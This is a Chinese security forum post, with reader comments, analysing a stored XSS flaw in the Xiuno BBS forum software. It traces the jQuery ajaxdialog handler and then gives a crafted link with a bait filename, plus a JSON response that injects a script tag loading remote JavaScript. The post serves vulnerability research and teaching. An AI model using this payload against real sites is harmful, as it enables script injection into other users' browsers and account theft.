Xiuno BBS XSS Vulnerability 简单的xss白盒分析
前言
刷微博的时候看到到seay发个了霸气外泄的cms:http://www.cnseay.com/2660/,官方介绍
Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗。我们取其寓意,希望XIUNO变得越来越强,越来越快。在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。
架构分析
├─admin //后台目录
│ ├─conf
│ ├─control //后台action 文件
│ └─view
├─conf //配置
├─control //前台action
├─model //系统 model
....... //前台模板
├─view
│ ├─image
│ │ └─filetype
│ └─js
│ ├─clipimg
│ └─editor
└─xiunophp // 核心框架
继续来看富文本编辑器的过滤
一路追踪到 xiunophp\lib\xn_html_safe.class.php
这种过滤基本上很安全了 过滤了各种标签事件,JavaScript 标签.
Xss 白盒分析
既然不是 ubb论坛标签,咱们就可以利用各种猥琐的html标签,对于这种基于jquery的前端来说 ,各种ajax 等事件函数是大大的有.(分析需要一定的javascript 和 jquery 基础)
例如:我们来看一段帖子附件的代码
<a rel="nofollow" target="_blank" onclick="return false;" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" class="ajaxdialog" href="http://w/coder/xiuno/?attach-dialog-fid-1-aid-8-ajax-1.htm"><img width="16" height="16" src="http://w/coder/xiuno/view/image/filetype/html.gif">1.html</a>
$('a.ajaxdialog, input.ajaxdialog').die('click').live('click', ajaxdialog_click);
代码片段
function ajaxdialog_click(e) {
var e = e ? e : window.event;// 兼容 event
var url = $(this).attr('href'); //读取到 a标记的 herf 属性
............
var recall = this.recall ? this.recall : null;
ajaxdialog_request(url, recall, options); //远程获取内容
return false;
}
function ajaxdialog_request(url, recall, options) {
.......
$.get(url, {ajax: 1}, function(s) { // jquery ajax get
var json = json_decode(s);
..........
jdialog.dialog(options); //调用 jquery 对话框插件,传入各种属性
}
Ok 在富文本编辑器源码模式可以构造个超链接出来
<a href="http://w/1.html" class="ajaxdialog" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" target="_blank" rel="nofollow"><img src="http://w/1.jpg" height="16" width="16">毛片.rmvb</a>
{"servererror":"","status":1,"message":{"width":"400","height":300,"pos":"center","title":"\u9644\u4..............\n\n<script type=\"text\/javascript\" src=\"http:\/\/w/1.js\"><\/script>\n"}}
附件下载
http://pan.baidu.com/share/link?shareid=416830&uk=587894688
[email protected]
ps:1.木有权限发到脚本漏洞去 麻烦管理转移下哈 2.貌似发不了图片了 悲剧
评论14次
挺好的一篇教学文章。收藏慢慢消化。
大牛 膜拜了
学xixss
好贴,哈哈,霸气的圣斗士
楼主威武。
官方说的 哈哈
纠正下楼主,圣斗士里白羊座是穆先生,摩羯座才是修罗。。。哈哈
好帖…不错不错…会有作为的…
yaseng 让来的 主要学xi了
yaseng 让来的 主要学xi了
yaseng 你让我来顶你的呀,我要告你!
真的很牛逼。。。 回楼主 谢谢楼主分享~xD
好牛逼的开场白……
前排沙发